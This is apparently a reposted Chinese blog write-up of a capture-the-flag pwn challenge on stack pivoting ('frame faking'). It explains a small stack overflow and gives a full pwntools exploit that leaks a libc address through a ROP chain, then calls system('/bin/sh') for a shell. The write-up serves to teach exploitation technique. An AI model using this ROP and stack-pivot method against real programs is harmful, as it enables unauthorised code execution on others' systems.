frame faking

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts("Input Your Name:");
  read(0, &name, 0x4FFuLL);
  puts("Input Buffer:");
  read(0, &buf, 0x50uLL);
  return 0;
}

程序逻辑很简单,存在着栈溢出,但是溢出的字节数只有0x50大小 只能控制一个返回地址。

我们可以换一个思路,看到读取名字的地方可以读取很多,我们可以通过控制ESP的方式,将栈进行转移到我们构造的虚假栈中,我们通过输入name来构造虚假栈。

我们首先控制EBP,再通过leave汇编(mov esp,ebp pop ebp )栈转移到我们输入name的bss断 继续往下执行。

但是我们还需要注意这题有个小坑。

在这里插入图片描述

io缓冲区在name的上方 我们选择栈时需要在name字段下面一点 防止函数在开辟栈时覆盖io缓冲区

最后EXP如下

from pwn import *
#from LibcSearcher import *
context.log_level='debug'
p=process('./ff')
#p=remote("222.18.158.242","20015")
elf=ELF('./ff')
pop_rdi=0x4006f3
bss_addr=0x600ae0+0x100
leave_retn=0x40068E
pop_rsi_r15_retn=0x4006F1
p.recvuntil("Input Your Name:\n")
payload1='1'*0x100
payload1+=p64(0)#frame stack
payload1+=p64(pop_rdi)#16
payload1+=p64(elf.got['puts'])#24
payload1+=p64(elf.symbols['puts'])#32
payload1+=p64(pop_rdi)#40
payload1+=p64(0)#48
payload1+=p64(pop_rsi_r15_retn)#56
payload1+=p64(bss_addr+80)#64
payload1+=p64(0)#72
payload1+=p64(elf.symbols['read'])#80
p.send(payload1)
p.recvuntil("Input Buffer:\n")
payload2='a'*0x40
payload2+=p64(bss_addr)#ebp=0x600ae0 
payload2+=p64(0x40068e)#mov esp,ebp , pop ebp,esp=0x40068E
#gdb.attach(p)

p.send(payload2)
puts_got=u64(p.recv(6)+'\x00'+'\x00')
print hex(puts_got)
#gdb.attach(p)
#libc=LibcSearcher('puts', puts_got)
#libcbase = puts_got - libc.dump('puts')
libc_base=puts_got-0x6F690
system_addr = libc_base + 0X45390
binsh_addr = libc_base + 0X18CD57
p.recvuntil('\n')
payload3=p64(pop_rdi)
payload3+=p64(binsh_addr)
payload3+=p64(system_addr)
p.send(payload3)
p.interactive()
发布了49 篇原创文章 · 获赞 14 · 访问量 6904

猜你喜欢

转载自blog.csdn.net/qq_39268483/article/details/94660429
今日推荐